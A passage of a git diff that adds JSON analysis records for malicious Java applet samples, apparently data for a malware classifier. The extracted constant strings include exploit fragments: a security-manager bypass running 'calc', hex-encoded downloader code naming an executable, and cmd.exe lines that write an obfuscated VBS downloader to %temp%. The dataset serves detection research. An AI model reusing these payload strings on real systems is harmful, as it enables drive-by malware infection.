["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pj,0l,Pj,0N,pn,pZ,0L,PM,9y,ks,0e,Pw,pQ,OP,di,14,pu,PW,pW,pl,KQ,Pd,LN,kP,pw,lN,Ml,Kp,hQ,0O,pS,MT,Lv,S0,t5,Sl,VJ,Kl,3l,KQ,xu,Xl,Kk,G2,Js,42,yM,8N,oG,pu,Pe,Pk,RH,y5,8p,oB,NG,pw,pq,x0,uq,bb,LP,mF,49,or,6N,kZ,HK,XR,Yu,Pe,P3,0N,kJ,wS,wo,pW,Ou,Pb,UX,za,Wb,wS,wO,pu,ou,P2,Ux,zl,Kj,Oq,Ov,Sk,yn,aZ,LS,4w,qs,0u,Pl,KK,l2,qa,B2,su,86,du,QW,pE,PY,os,fV,ls,jv,9P,Qs,bL,KW,rb,s1,SM,Pg,Kc,0T,5x,zo,qQ,kk,L6,NS,Us,Hc,U3,Es,3O,sz,Ku,XM,Ye,SI,WQ,S7,td,nc,Ur,Xu,5J,fq,ST,Hw,pS,kO,zY,QT,Dp,0N,hS,uU,Pt,sK,pr,p6,0V,3R,wR,pK,O3,ft,PN,cl,8s,0p,uS,62,Js,1p,SI,oc,fV,d3,js,iK,3K,rW,tQ,QO,pt,z5,PP,uL,tK,Op,V5,Xv,1p,VL,Kr,UW,LL,KP,tp,51,hd,C8,us,fl,Kp,vQ,0v,cL,5v,Sz,ir,ia,Ql,mw,sY,UT,si,Kf,oo,N4,P0,8k,BP,tE,XO,1X,K4,Mt,Cz,z3,pH,kY,a7,KE,OQ,ej,GQ,NL,Ks,nV,DG,sy,M3,VN,kD,LP,Kn,kS,nw,lU,SY,ML,KS,4l,KE,SO,5N,Ka,Nb,yz,cx,h5,P9,oK,Ok,On,np,NF,nj,Lo,hi,nN,jf,na,nN,8K,Rt,3d,sK,zN,jQ,K5,fU,JV,Ot,0q,ub,W1,tp,NE,Pq,xt,4q,db,P4,zf,Ov,OP,es,HP,tp,e4,2r,NQ,qB,L6,NQ,yQ,wB,N2,OS,BP,eR,LQ,yd,3b,TV,NS,SR,Op,mv,OP,ib,NQ,vp,ov,Op,u3,C0,1v,Np,hr,T2,MR,Lv,Ob,NT,p0,0e,1f,QV,PF,VV,RF,PV,Qw,Cf,QT,x1,bt,pT,pf,PE,31,Zt,p0,ev,PV,PV,Pe,ft,p5,aP,Rw,Es,TU,cv,SQ,rU,1v,Ru,5R,w0,ep,c7,E6,V4,yQ,vF,R0,7f,8R,D3,QU,is,Up,4u,gQ,rP,dr,yV,YD,qu,dv,SQ,v1,t4,tG,Fr,zT,pd,qT,pV,Ps,VT,p5,hP,0U,PU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bc44b1f1b85edfd344e431d85b447fbc1065ec33", "file_name": "java_malicious/f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6", "_id": "0d623ab1-db8d-4271-ba40-d83d556dd0c8", "score": 0, "entropy": 5.986029866927867, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3117, "ssdeep": "48:4vVk0yFlfkrYeYHDXQRnKqdYufowG8elU9qy5GUFwIsFlXRkHccQjtZtgobKqgsq:hFFlcrQXQRtgSZRxC92XQjt9bKsCn", "sha256": "f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6", "md5": "684cf2f3d07d75d46960d8eafbbc7592", "parent_sha256": "f21e35bc4c7ad29aa9bc0b85b4c04bb430b2cfd64c3537881ccf4f938ae8a5c6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results b/java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results new file mode 100755 index 0000000..e7ed544 --- /dev/null +++ b/java_classification/data/malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/rwuznr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "syfwwczyvm", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "14e0cb43-186b-4e72-96cf-1fdb6c27e0f1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b77784db035621251d020e384f1a44abc8cf5cac", "file_name": "java_malicious/f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da", "_id": "14e0cb43-186b-4e72-96cf-1fdb6c27e0f1", "score": 0, "entropy": 5.216217429665891, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6978, "ssdeep": "192:TO+M088AsVvx5pSYxhi/To55UTYwa5hGX1:hbtVVvyTofUTkc1", "sha256": "f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da", "md5": "20c0a5e2ac734c13e441ddbfc0005056", "parent_sha256": "f299ca21815967534e588c241cf7d80cc70e44475bad56a556d29a6fd68807da"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results b/java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results new file mode 100755 index 0000000..8381ba2 --- /dev/null +++ b/java_classification/data/malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 170}}, "_id": "cf42d3b5-c61d-4bfe-8055-fef4f77f977d", "verbose": {"java": {"constant strings": ["877E9062878C8D7A877C7E", "8C7E8D6C7E7C8E8B828D92667A877A807E8B", "7F82857E53484848", "CF03BFC30505053505830F052C05370F053805390C053A0F053B053C0D053D0D053E0F053B053F0C05400C05410D05420F054305440F050E05450F050E05460F050D05470C05480C05490C054A0F051605370D054B0F053B054C0F0516054D0D054E0F0516054F0F051505450F051405500F050D05510D05520F055305540D05550D05560D05570F051405580F050D05590F051405590F055A055B0F055A055C0C055D0C055E0C055F0C056006050B416E736E79430605082D2E5B0605094874696A060514516E736A537A72676A77596667716A060508777A730605192D2E516F667B66347166736C3454676F6A68794006050F4A7D686A75796E74737806050F58747A77686A4B6E716A060510487166787839336F667B6611052E052F0C0561110562056306052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694668796E74734A7D686A75796E74730C056411056505660605136D79797533706A6A7566716E7B6A06050A6B6671786A11056705680605206F667B66346E7434477A6B6B6A776A694E73757A795879776A66720605116F667B6634736A79345A5751060605", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "2525252525252525252525252525252525252525252525252525252525252525", "252525252525252525252525254D5959753F34346874717A72737866776C6A73", "796E736A33736A79346B396D6C7E5B5A56534C3572473464465F4E49753C5273", "0C056911056A056B11052E056C11056D056E11052E056F0605216F667B66346E7434477A6B6B6A776A69547A79757A795879776A667206051D6F667B66346E74344B6E716A547A79757A795879776A667206051B6F667B66347166736C345879776E736C477A6B6B6A77060509594A52551105700571110572057306050D34727477336A7D6A110574056B11052E0575110576057706050A", "353535393C", "0C0578110579057A06050A", "3535353D3A", "06050A", "353535393D", "3535353D36", "11057B057C11057D052F0C057E11057F058011058105820605186F667B66347166736C344A7D686A75796E747306050B4871667878390605156F667B66347166736C3454676F6A687906052C6F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E74730605236F667B6634786A687A776E797E344668686A787848747379777471716A77060511697455776E7B6E716A6C6A690605422D516F667B6634786A687A776E797E3455776E7B6E716A6C6A694A7D686A75796E74734668796E7473402E516F667B66347166736C3454676F6A6879400605156F667B66347166736C34587E78796A72060517786A79586A687A776E797E526673666C6A770605232D516F667B66347166736C34586A687A776E797E526673666C6A77402E5B060510786A79557774756A77797E06053D2D516F667B66347166736C345879776E736C40516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C400605156F667B66347166736C345879776E736C06050979776E720605192D2E516F667B66347166736C345879776E736C4006051A2D516F667B66347166736C345879776E736C402E5B06050F74756A735879776A667206051C2D2E516F667B66346E74344E73757A795879776A66724006051D2D516F667B66346E74344E73757A795879776A6672402E5B06050B6C6A796A737B06052B2D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C4006050B6675756A73690605312D516F667B66347166736C345879776E736C402E516F667B66347166736C345879776E736C477A6B6B6A774006050D79745879776E736C06051F2D516F667B66346E7434547A79757A795879776A6672404E2E5B060509776A666906050C2D60474E4E2E4E0605166F667B66347166736C344E73796A6C6A7706050D756677786A4E737906051A2D516F667B66347166736C345879776E736C402E4E06050A7C776E796A06050C2D60474E4E2E5B06050A687174786A0605166F667B66347166736C34577A73796E726A06050F6C6A79577A73796E726A06051A2D2E516F667B66347166736C34577A73796E726A400605096A7D6A6806052C2D516F667B66347166736C345879776E736C402E516F667B66347166736C34557774686A7878400526052B052C0506052D050505070506052E052F050605300505054305060507050505132FBC05062FBD05075CAC050951B605060509050E05110508050605310505051B050A0505050E05090511050E05160511051305120517050605320533050705300505069C050B050C0505061C06BD0509160905C10D5108420843170A170BBD050C5CC0050D5EC0050E5E170FBB0510BC0511BB0512BC05133F09C005145EC005155EC005165EBC05171718BD0519BB051A171BBB051ABB051CBC051D160905BC051E3F0A1E093008160905BB051F5E42A0058622216543083B0B1A0B21A7056E2221691A0B650C759F0518301A0B61381720BD0521879659AC054D2221691A0B650C7509A50518301A0B61381722BD0521879659AC05312221691A0B650C750AA50518301A0B61381723BD0521879659AC0515301A0B61381724BD0521879659890B06AC049C1E0A300821BB0525AC047B1E09BB05261E0ABB0527BD05283F0B1E0BC005165EBC05171718BD0519BB051A171BBB051ABB051CBB05295CAC05095106B50506050906160619052A050605310505056B051E0505051B0509051E050F051F05130521051B052205330523055D0524056C052605700527057905290584052B0594052D05A0052F05B0053105BC053305CC053705D9052705DF053A05EA053C05EF053D05F4053E05F9053F0616054406190541061A05450534050505090506052A05060535050505070536"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "96588307321b15799ce51cfba24c06e3aa0100fa", "file_name": "java_malicious/f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d", "_id": "cf42d3b5-c61d-4bfe-8055-fef4f77f977d", "score": 0, "entropy": 5.293794183323834, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7315, "ssdeep": "192:Bl/i2e8op2jqpJCDpDM3UcOqXz/fr/Gt59FYzwuM:BEwopEqpJCDpDVcrznruz9StM", "sha256": "f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d", "md5": "f6ed0ba72feb57b31b6cf0f3f28024d4", "parent_sha256": "f36b0f4eab45e37aeaf27061daf3db870cf93ecc8212855850b05e436b3fc94d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results b/java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results new file mode 100755 index 0000000..552b15a --- /dev/null +++ b/java_classification/data/malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "dwODN.java", "class_name": "dwODN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "DCgnuVZ", "IVXZQpWg", "SRqKeAiW", "vjiz"], "minor_version": 0, "const_pool_count": 140}}, "_id": "41e3b957-7fea-4c69-b1da-faf171be038b", "verbose": {"java": {"constant strings": ["LGPG\\x08HCR\\x08stj", "IVCHuRTCGK", "LGPG\\x08OI\\x08`OJCiSRVSRuRTCGK", "QTORC", "close", "C^CE", "TCAUPT\\x15\\x14\\x06\\x0bU\\x06\\x04", "\\x04", "", "LGPG\\x08OI\\x08RKVBOT", "\\x08C^C"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f2330f4a8247e2a08535f7c9adebad10afcba064", "file_name": "java_malicious/f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d", "_id": "41e3b957-7fea-4c69-b1da-faf171be038b", "score": 0, "entropy": 5.859009696842261, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2754, "ssdeep": "48:Jg7lyFlOhnxFMfya9EsCCkxVBgckac36QHmEyxxZEg5Tasg+:JcwFlOny0xbt46Qx4xpdasB", "sha256": "f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d", "md5": "e5252e5d315a5fade79d8e46b6e7f286", "parent_sha256": "f38f73b915639f4a9dda28d470e03583c6e50409996305d8ac541dae30d2fc7d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results b/java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results new file mode 100755 index 0000000..221dfb7 --- /dev/null +++ b/java_classification/data/malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "java.java", "class_name": "Java", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "enableSecurity", "init", "GimmeClass"], "minor_version": 0, "const_pool_count": 209}}, "_id": "1f07afc1-d846-4a75-8c84-0b0109f49634", "verbose": {"java": {"constant strings": ["22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34", "or", "me", "f", "Na", "789g8795e4565t5765F5675567i6765e756567l567d567", "sun", "awt", "SunToolkit", ".", "java.beans.Statement", "acc", "\\\\d", "", "java.security.AllPermission", "java.security.Permissions", "add", "java.security.Permission", "java.lang.System", "execute", "calc"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "90a7b1d498c84103042cee07f8cf8de74268132d", "file_name": "java_malicious/f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931", "_id": "1f07afc1-d846-4a75-8c84-0b0109f49634", "score": 0, "entropy": 5.812251439334465, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3418, "ssdeep": "48:yn77IlOegUnyFla6a6Qg5u25jfaZFkr0Gc4H2tbUE++9N7Wlv5hptD7:s77I0emFla48+fgkqBUCd85rh", "sha256": "f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931", "md5": "fcecf12c9900d882af80467a576e65bc", "parent_sha256": "f3aff015b9e0c9af93be8ce02554509d13386a1cc9acc70f8b59572a0605e931"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results b/java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results new file mode 100755 index 0000000..fe26a64 --- /dev/null +++ b/java_classification/data/malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GNRTBMO.java", "class_name": "CQAfR/GNRTBMO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "ojBvs", "jZgqhfL", "HDmTr"], "minor_version": 0, "const_pool_count": 183}}, "_id": "3eb19b1a-233f-4db3-818e-370b2556626e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d1891e105c5c664840f31547daf6474bcb32de8b", "file_name": "java_malicious/f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2", "_id": "3eb19b1a-233f-4db3-818e-370b2556626e", "score": 0, "entropy": 5.2791163950163575, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3062, "ssdeep": "48:l+EQzGOfDyFl7rgmwMuvxgJdgdMlMeEyEu06UeECI4q6hO/a0NwEOlEuUYbPM+EG:l+EQTmFlQCuKJd8MlMeEyEu06UeECVqq", "sha256": "f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2", "md5": "a306aca97d34de41a99ee107f0effa3c", "parent_sha256": "f3ffa2d8234fecf7d11f2d301ed535a6031dd2f19908ff15c175f334c31eefc2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results b/java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results new file mode 100755 index 0000000..b527c67 --- /dev/null +++ b/java_classification/data/malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Help.java", "class_name": "a/Help", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "StringToBytes", "doWork"], "minor_version": 0, "const_pool_count": 373}}, "_id": "e8cbd0b6-94b7-4116-905a-2998d024f8c2", "verbose": {"java": {"constant strings": ["CAFEBABE0000003000720A00220", "02D0A002E002F0700300A0031003", "20700330700340800350A003600", "370A000600380A000600390A0005", "003A07003B07003C07003D0A000", "E002D08003E0A0031003F0A000E0", "0400800410A000E00420A000D00", "380A000C00430A00050044080045", "0A004600470800480A000C00490", "A0005004A0A000C004A0A004B004", "C0A004B004D07004E07004F0700", "500700510100063C696E69743E01", "0003282956010004436F6465010", "00F4C696E654E756D62657254616", "26C6501000372756E0100142829", "4C6A6176612F6C616E672F4F626A", "6563743B01000A4578636570746", "96F6E7301000A536F75726365466", "96C6501000954696D652E6A6176", "610C002400250700520C00530054", "0100276A6176612F73656375726", "974792F50726976696C656765644", "16374696F6E457863657074696F", "6E0700550C0056005701001B6A61", "76612F696F2F427566666572656", "4496E70757453747265616D01000", "C6A6176612F6E65742F55524C01", "0100", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020687474703A2F2F6375697261737369657231372E62657474657273", "7461747334796F752E696E666F2F62327150364346386A446669706748754573", "0700580", "C0059005A0C0024005B0C005C00", "5D0C0024005E01001C6A6176612F", "696F2F42756666657265644F757", "470757453747265616D0100186A6", "176612F696F2F46696C654F7574", "70757453747265616D0100166A61", "76612F6C616E672F537472696E6", "742756666657201000454454D500", "C005F00600C006100620100082F", "6D6F722E6578650C0063005A0C00", "2400640C00650066010005", "3030313133", "0700670C00680069010005", "3030303830", "0C006A006B0C006C00", "2507006D0C006E006F0C00700071", "0100136A6176612F6C616E672F4", "57863657074696F6E010006612F5", "4696D650100106A6176612F6C61", "6E672F4F626A6563740100276A61", "76612F73656375726974792F507", "26976696C6567656445786365707", "4696F6E416374696F6E01001E6A", "6176612F73656375726974792F41", "6363657373436F6E74726F6C6C6", "57201000C646F50726976696C656", "7656401003D284C6A6176612F73", "656375726974792F50726976696C", "65676564457863657074696F6E4", "16374696F6E3B294C6A6176612F6", "C616E672F4F626A6563743B0100", "106A6176612F6C616E672F537973", "74656D010012736574536563757", "26974794D616E6167657201001E2", "84C6A6176612F6C616E672F5365", "6375726974794D616E616765723B", "29560100106A6176612F6C616E6", "72F537472696E670100047472696", "D01001428294C6A6176612F6C61", "6E672F537472696E673B01001528", "4C6A6176612F6C616E672F53747", "2696E673B295601000A6F70656E5", "3747265616D01001728294C6A61", "76612F696F2F496E707574537472", "65616D3B010018284C6A6176612", "F696F2F496E70757453747265616", "D3B2956010006676574656E7601", "0026284C6A6176612F6C616E672F", "537472696E673B294C6A6176612", "F6C616E672F537472696E673B010", "006617070656E6401002C284C6A", "6176612F6C616E672F537472696E", "673B294C6A6176612F6C616E672", "F537472696E674275666665723B0", "10008746F537472696E6701001A", "284C6A6176612F696F2F4F757470", "757453747265616D3B492956010", "00472656164010007285B4249492", "9490100116A6176612F6C616E67", "2F496E7465676572010008706172", "7365496E74010015284C6A61766", "12F6C616E672F537472696E673B2", "949010005777269746501000728", "5B4249492956010005636C6F7365", "0100116A6176612F6C616E672F5", "2756E74696D6501000A676574527", "56E74696D6501001528294C6A61", "76612F6C616E672F52756E74696D", "653B01000465786563010027284", "C6A6176612F6C616E672F5374726", "96E673B294C6A6176612F6C616E", "672F50726F636573733B00210021", "002200010023000000020001002", "40025000100260000003E0001000", "20000000E2AB700012AB8000257", "A700044CB1000100040009000C00", "030001002700000016000500000", "00B0004000D0009000F000C000E0", "00D001100010028002900020026", "0000013F00060007000000D701B8", "0004110400BC084C033D033EBB0", "00559BB0006591207B60008B7000", "9B6000AB7000B3A04BB000C59BB", "000D59BB000E59B7000F1210B800", "11B600121213B60012B60014B70", "015110400B700163A0519042B031", "10400B60017593D9B00491D1C60", "3E03360615061CA200311D1C6415", "066005709A00132B15065C33121", "8B80019829154A700102B15065C3", "3121AB80019829154840601A7FF", "CF19052B031CB6001BA7FFAE1904", "B6001C1905B6001DB8001E3A061", "906BB000E59B7000F1210B80011B", "600121213B60012B60014B6001F", "57A700044C01B00001000400D100", "D40020000100270000004E00130", "000001400040017000A0018000E0", "01A0026001B0050001C005F001E", "0063001F006C0021007700230087", "00270094001F009A002A00A5002", "C00AA002D00AF002E00B4002F00D", "1003100D50032002A0000000400", "0100200001002B00000002002C", "file:///", "a.Time"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ae05696325c7b6da9de74dfe7aba6c26c5c34a7a", "file_name": "java_malicious/f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf", "_id": "e8cbd0b6-94b7-4116-905a-2998d024f8c2", "score": 0, "entropy": 5.412116961637783, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7307, "ssdeep": "96:34F4FlCA+OnZEv7erV9LM7hER6WQKyOZv7fhmuiCFgI5BX7JVFS2TKpHU4:llCA+OneeTUKRZ8Oh7fhCcf5lvEEgU4", "sha256": "f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf", "md5": "9cc87dee058de396fed33104178cf815", "parent_sha256": "f532f71ea64e4e23fce29f03ece865d3bf14117415c029557d7b6677c9ebacdf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results b/java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results new file mode 100755 index 0000000..f3f7d96 --- /dev/null +++ b/java_classification/data/malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "x/p", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable", "java/security/PrivilegedExceptionAction"], "major_version": 50, "method_names": ["", "run", "pl", "a"], "minor_version": 0, "const_pool_count": 419}}, "_id": "2e9f961f-12f8-46e9-8fd3-d1e07b97ac3d", "verbose": {"java": {"constant strings": [".e", "/", "//", "1I0u7", "1oy857Ojk", "217.73.56.45", "217.73.63.204", "25csPiGzcjuLbQ7Xru", "2LoIC", "2RnoSWIu2pi7T7pFGmB", "2mN5squxrnLn33n4wr8", "3eBhR3", "47n9APVcG", "4GSFP1DGWg", "5kbf8UKaGN", "5rVmPhGC", "7O97w2a1VRw6Ywa3yG", "8ZHDN9HyGo", "9qu7NddEH4Ry3Gv5On61", "BbNk4YWZ6", "DBxlxrtZynPksnaX3", "DN5SR5Y", "DZrRfWW0kALM29keYAC", "Db67np", "DvgpqxHmXfNY9GdPWW1N", "EG719aVy", "EIpv2SG", "FRjhEo4WNIXq35R0B", "G9xUppdj3qiY", "GK6hNfTgnxtfC7", "GNqolnUxbjCYnv", "GQh6huoOcrrZyP", "GTypKFy1eS", "Ge6fPU0S0FtqW0NWMB", "GeRBKhGSTBMIQteRs", "Gk40TpN5x8", "Gy2xVg6amauvonRi1M6", "HZTreLHpua988WFOiX9m", "HsaNEV599F", "IZpRUDz6mIK", "KNlANF0e2e", "L9OGeiyw0SQK9Cx2vpS", "M1Kh1", "MVyLdl0duVSz", "Mj6Syz", "OG2vDGl2VgzGQ6qy", "PNLtGugPAXHrAmL", "RKLYumviwz6eaRPVmHL", "RdvtoodnmGCG", "Rrxi4Tow6wUiVxdYb", "Ry5bnwRREA3", "SvfGr6lCfqrwV8G", "WHWG0MF", "WNYlK", "XXdkLy0pvIQ", "YcEdWruv", "Yx8bIQV", "ZOjH3jT0INhf0pv", "ZzYfbY8IWPhUlGeo0WK4", "\\\\", "_", "bing.com", "cbk5aoms6LLEVkoGf9IY", "cdn.connect.mail.ru", "dir", "dt5y78PbFF1Zz7tE9", "f7ffh1lcVOkkiuErh", "f9VMdMq6", "fGk4", "fjH71iFYFDyaQkhZyB", "fuo1ftlOF4N6xpP", "fxCHtcNw7vGrMLIAaIo", "g3rMsA", "gLlsy1VfLUKXKm", "gTqtj", "gYWgm6UGvo3s5nHOuD", "ga9Z9qP6qRv9", "gfZBdfYEGLN4PqrPz9f", "go.mail.ru", "h8x5iHMTfF9BzBm", "hF1Ew", "home.webalta.ru", "ht", "http://browserhelp.ru", "iDyxRpAt", "jObsU1k", "ja", "jw82o3Ka", "kLE0nm3FQ", "mff0mCDL3pwihjGLszG", "mh6kPcCtTEwo80Y", "mp", "nYhVPa0IC", "nova.rambler.ru", "o.t", "oLlGbSQxa2Fr664", "oOvp2E", "oTAeVUKd", "pSwo3v5SWsOq2wn0b", "qbfy6HOKm0ZYSNpBidZ", "quOW7tT", "rNlbIPYA1IFT1", "rvg7X50", "sDHP51ZrGR2Z7OOXkYR", "sDkGVw", "sYHG3cyGLkOEn", "smaxi.biz", "smaxi.net", "st0.userapi.com", "st1.userapi.com", "st2.userapi.com", "st3.userapi.com", "st4.userapi.com", "st5.userapi.com", "st6.userapi.com", "st7.userapi.com", "st8.userapi.com", "st9.userapi.com", "start.qip.ru", "start.webalta.ru", "stg.odnoklassniki.ru", "tp:", "uTnbEj", "userapi.com", "va.i", "w9OL5wUXwDmw", "wB5DUupMRXZuLL291TH", "wCi5ea6DHB81seIbPmGB", "webalta.ru", "wqyYLtEVH", "www.smaxi.biz", "www.smaxi.net", "www.webalta.ru", "xRgoo8", "xe", "xg9gBs5VS7GVFNiW1lh", "yZVPdXZnmDj27IQzhg2G", "yahoo.com"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3edc17976e99b2cc95d7b12e1f34324b4499639e", "file_name": "java_malicious/f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee", "_id": "2e9f961f-12f8-46e9-8fd3-d1e07b97ac3d", "score": 0, "entropy": 6.235571684180332, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5963, "ssdeep": "96:gik7EaPAECEpZDOLZpty5q8URpOgPn3mpr3bQnQnV7O:m7E/wssq9nErQnQJO", "sha256": "f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee", "md5": "a7700c950d1ee6f3e7b6cf5c99767189", "parent_sha256": "f57c610ed52ee1ee8f8dd3a5e85b635437cd4878e8b71018f87695a1fdd6acee"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results b/java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results new file mode 100755 index 0000000..8d842c5 --- /dev/null +++ b/java_classification/data/malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GonbadGonbadExp.java", "class_name": "GonbadGonbadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "d3099971-815d-4064-bf76-3b488e7ef265", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "JoUyJn2SSkeT0UXrL", "dota", "= function", "j", "return \"exploit!\";};", "s", "error.message = this;", "nts(0)", "cho UR", "var error = new Error(\"My error\");this.toString ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c e", "L = LCase(WScript.Argume", ")>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo gond=\"JoUyJn2SSkeT0UXr\">>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo 